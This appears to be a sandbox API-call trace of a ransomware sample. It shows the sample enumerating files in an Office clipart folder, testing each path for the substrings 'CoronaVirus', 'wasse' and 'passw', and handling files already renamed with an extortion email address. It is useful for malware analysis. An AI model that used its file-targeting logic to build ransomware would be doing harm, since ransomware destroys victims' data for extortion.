	[0094.404] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="wasse") returned 0x0
	[0094.404] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="passw") returned 0x0
	[0094.404] SetThreadPriority (hThread=0xb68, nPriority=15) returned 1
	[0094.411] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", cAlternateFileName="CO2BC5~1.GIF")) returned 1
	[0094.411] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.411] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.411] malloc (_Size=0x1000) returned 0x51f3088
	[0094.411] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif") returned 213
	[0094.411] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.411] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="wasse") returned 0x0
	[0094.411] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", _SubStr="passw") returned 0x0
	[0094.411] SetThreadPriority (hThread=0xb6c, nPriority=15) returned 1
	[0094.413] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x3bf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", cAlternateFileName="COCD59~1.GIF")) returned 1
	[0094.413] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.416] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.416] malloc (_Size=0x1000) returned 0x51f1078
	[0094.422] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif") returned 213
	[0094.422] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.422] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="wasse") returned 0x0
	[0094.422] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", _SubStr="passw") returned 0x0
	[0094.422] SetThreadPriority (hThread=0xb70, nPriority=15) returned 1
	[0094.424] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x14d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", cAlternateFileName="CO4F35~1.GIF")) returned 1
	[0094.488] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.488] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.488] malloc (_Size=0x1000) returned 0x51f3088
	[0094.488] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif") returned 213
	[0094.488] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.488] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="wasse") returned 0x0
	[0094.488] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", _SubStr="passw") returned 0x0
	[0094.489] SetThreadPriority (hThread=0xb74, nPriority=15) returned 1
	[0094.491] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1371, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", cAlternateFileName="CO6DF4~1.GIF")) returned 1
	[0094.496] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.496] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.496] malloc (_Size=0x1000) returned 0x51f60a0
	[0094.496] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif") returned 213
	[0094.496] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.496] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="wasse") returned 0x0
	[0094.496] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", _SubStr="passw") returned 0x0
	[0094.497] SetThreadPriority (hThread=0xb78, nPriority=15) returned 1
	[0094.498] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x13c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", cAlternateFileName="CO8114~1.GIF")) returned 1
	[0094.498] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.500] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.500] malloc (_Size=0x1000) returned 0x51f1078
	[0094.501] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif") returned 213
	[0094.503] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.503] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="wasse") returned 0x0
	[0094.503] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", _SubStr="passw") returned 0x0
	[0094.504] SetThreadPriority (hThread=0xb7c, nPriority=15) returned 1
	[0094.506] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", cAlternateFileName="CO4624~1.GIF")) returned 1
	[0094.506] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.507] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.519] malloc (_Size=0x1000) returned 0x51f3088
	[0094.519] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif") returned 213
	[0094.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="wasse") returned 0x0
	[0094.519] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", _SubStr="passw") returned 0x0
	[0094.520] SetThreadPriority (hThread=0xb80, nPriority=15) returned 1
	[0094.522] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1dc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", cAlternateFileName="COC483~1.GIF")) returned 1
	[0094.522] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.523] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.524] malloc (_Size=0x1000) returned 0x51f3088
	[0094.526] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif") returned 213
	[0094.526] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.526] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="wasse") returned 0x0
	[0094.526] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", _SubStr="passw") returned 0x0
	[0094.527] SetThreadPriority (hThread=0xb84, nPriority=15) returned 1
	[0094.529] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1b71, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", cAlternateFileName="CO83AA~1.GIF")) returned 1
	[0094.531] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.531] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.531] malloc (_Size=0x1000) returned 0x51f5098
	[0094.531] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif") returned 213
	[0094.531] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.531] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="wasse") returned 0x0
	[0094.531] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", _SubStr="passw") returned 0x0
	[0094.532] SetThreadPriority (hThread=0xb8c, nPriority=15) returned 1
	[0094.543] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x33e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", cAlternateFileName="CO870D~1.GIF")) returned 1
	[0094.543] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.543] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.543] malloc (_Size=0x1000) returned 0x51f60a0
	[0094.543] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif") returned 213
	[0094.543] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.543] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="wasse") returned 0x0
	[0094.543] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="passw") returned 0x0
	[0094.543] SetThreadPriority (hThread=0xb94, nPriority=15) returned 1
	[0094.545] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x21a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", cAlternateFileName="COAC02~1.GIF")) returned 1
	[0094.545] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.545] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.545] malloc (_Size=0x1000) returned 0x51f0070
	[0094.545] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif") returned 213
	[0094.545] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.545] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="wasse") returned 0x0
	[0094.545] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="passw") returned 0x0
	[0094.545] SetThreadPriority (hThread=0xb9c, nPriority=15) returned 1
	[0094.546] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1341, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", cAlternateFileName="CO3616~1.GIF")) returned 1
	[0094.547] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.547] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.547] malloc (_Size=0x1000) returned 0x51f80b0
	[0094.547] _swprintf (in: param_1=0x51f80b0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif") returned 213
	[0094.547] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.547] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="wasse") returned 0x0
	[0094.547] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="passw") returned 0x0
	[0094.550] SetThreadPriority (hThread=0xba4, nPriority=15) returned 1
	[0094.551] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1521, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", cAlternateFileName="COEED0~1.GIF")) returned 1
	[0094.551] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0094.551] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0094.551] malloc (_Size=0x1000) returned 0x51f1078
	[0094.551] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif") returned 213
	[0094.551] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="CoronaVirus") returned 0x0
	[0094.551] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="wasse") returned 0x0
	[0094.551] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="passw") returned 0x0
